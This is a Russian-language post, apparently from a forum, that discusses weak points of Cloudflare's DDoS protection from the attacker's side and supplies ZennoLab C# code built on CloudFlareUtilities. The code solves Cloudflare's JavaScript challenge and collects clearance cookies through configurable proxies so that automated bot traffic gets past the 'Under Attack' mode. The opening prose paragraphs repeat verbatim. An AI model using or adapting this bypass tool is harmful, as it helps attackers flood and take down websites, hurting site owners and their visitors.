Сервис Cloudflare добавил ддосерам головной боли, ведь с его помощью можно бесплатно защитить сайт от сильных ддос атак. Как результат, издержки атакующего становятся выше издержек защищающегося, спрос на ддос-услуги падает, ддосерам приходится переучиваться на смежные профессии программистов и администраторов либо шантажировать неопытных вебмастеров. В России на руку ддосерам сыграло введение интернет-цензуры в 2012 году - айпишники Клауда массово начали попадать в блок. Но сейчас процент потерь очень низкий, большинство провайдеров блокируют по URL, а не по IP, а значит Клоудфар снова актуален у нас. Но вместе с тем появляются и эффективные способы обхода защиты Cloudflare.
Какие слабые места есть у Cloudflare в 2018 году? Например, они недавно отключили метод block для стран в фаерволе на бесплатном тарифе. Но пока еще работает Javascript Challenge и Challenge. Зная географию ддоса админ сайта может отсечь большинство ддос-ботов методом Challenge, но чтобы завалить сайт (не защищенный на уровне сервера) достаточно 5-10% ботов из стран целевого трафика. Как правило, при ддосе неопытный админ выставляет режим Under Attack и просто ждет, пока ддос прекратится. Но мало того, что режим Under Attack добавляет неудобств пользователю (приходится ждать несколько секунд открытия сайта), так еще есть решения для его обхода.
Одно из таких решений - CloudFlareUtilites. Это скрипт для обхода Javascript Challenge в Cloudflare, использующий DelegatingHandler (класс для обработки сообщений HTTP). Посмотреть документацию и скачать можно на Гитхабе.
На Zennolab есть готовое решение.
Примерный код.
Какие слабые места есть у Cloudflare в 2018 году? Например, они недавно отключили метод block для стран в фаерволе на бесплатном тарифе. Но пока еще работает Javascript Challenge и Challenge. Зная географию ддоса админ сайта может отсечь большинство ддос-ботов методом Challenge, но чтобы завалить сайт (не защищенный на уровне сервера) достаточно 5-10% ботов из стран целевого трафика. Как правило, при ддосе неопытный админ выставляет режим Under Attack и просто ждет, пока ддос прекратится. Но мало того, что режим Under Attack добавляет неудобств пользователю (приходится ждать несколько секунд открытия сайта), так еще есть решения для его обхода.
Одно из таких решений - CloudFlareUtilites. Это скрипт для обхода Javascript Challenge в Cloudflare, использующий DelegatingHandler (класс для обработки сообщений HTTP). Посмотреть документацию и скачать можно на Гитхабе.
На Zennolab есть готовое решение.
Примерный код.
PHP:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading;
using System.IO;
using System.Text.RegularExpressions;
using ZennoLab.CommandCenter;
using ZennoLab.InterfacesLibrary;
using ZennoLab.InterfacesLibrary.ProjectModel;
using ZennoLab.InterfacesLibrary.ProjectModel.Collections;
using ZennoLab.InterfacesLibrary.ProjectModel.Enums;
using ZennoLab.Macros;
using Global.ZennoExtensions;
using ZennoLab.Emulation;
using System.Net;
using System.Net.Http;
using System.Reflection;
using System.Collections;
using CloudFlareUtilities;
namespace ZennoLab.OwnCode
{
public class CloudFlareBreaker
{
public string Address { get; set; }
public string UserAgent { get; set; }
public string Proxy { get; set; }
public int MaxRetries { get; set; }
private ZennoLab.CommandCenter.CookieContainer _cookieContainer;
public void Break()
{
_cookieContainer = GetCloudFlareCookies(Address, UserAgent, Proxy, MaxRetries);
}
public ZennoLab.CommandCenter.CookieContainer GetCookieContainer()
{
return _cookieContainer;
}
public string GetCookieStr()
{
if (_cookieContainer == null) return null;
var list = GetAllCookies(_cookieContainer)
.Cast<Cookie>()
.Select(c => c.Name + "=" + c.Value)
.ToList();
return string.Join(";", list);
}
private ZennoLab.CommandCenter.CookieContainer GetCloudFlareCookies(string address, string userAgent, string proxy, int maxRetries)
{
var currentTry = 0;
while (currentTry < maxRetries)
{
try
{
var cookies = new ZennoLab.CommandCenter.CookieContainer();
var msg = new HttpRequestMessage()
{
RequestUri = new Uri(address),
Method = HttpMethod.Get
};
msg.Headers.TryAddWithoutValidation("User-Agent", userAgent);
var client = new HttpClient(new ClearanceHandler(new HttpClientHandler
{
UseCookies = true,
CookieContainer = cookies,
Proxy = SetProxy(proxy)
}));
client.SendAsync(msg).Wait();
return cookies;
}
catch (Exception)
{
currentTry += 1;
}
}
return null;
}
private System.Net.CookieCollection GetAllCookies(ZennoLab.CommandCenter.CookieContainer container)
{
var allCookies = new CookieCollection();
var domainTableField = container.GetType().GetRuntimeFields().FirstOrDefault(x => x.Name == "m_domainTable");
var domains = (IDictionary)domainTableField.GetValue(container);
foreach (var val in domains.Values)
{
var type = val.GetType().GetRuntimeFields().First(x => x.Name == "m_list");
var values = (IDictionary)type.GetValue(val);
foreach (CookieCollection cookies in values.Values)
{
allCookies.Add(cookies);
}
}
return allCookies;
}
private WebProxy SetProxy(string proxy)
{
if (string.IsNullOrEmpty(proxy)) return null;
WebProxy wp;
var split = proxy.Split('@');
if (split.Length == 1)
{
wp = new WebProxy(proxy);
}
else
{
var credential = split[0].Split(':');
var addres = split[1];
wp = new WebProxy(addres)
{
Credentials = new NetworkCredential
{
UserName = credential[0],
Password = credential[1]
}
};
}
return wp;
}
}
}
[/CODE]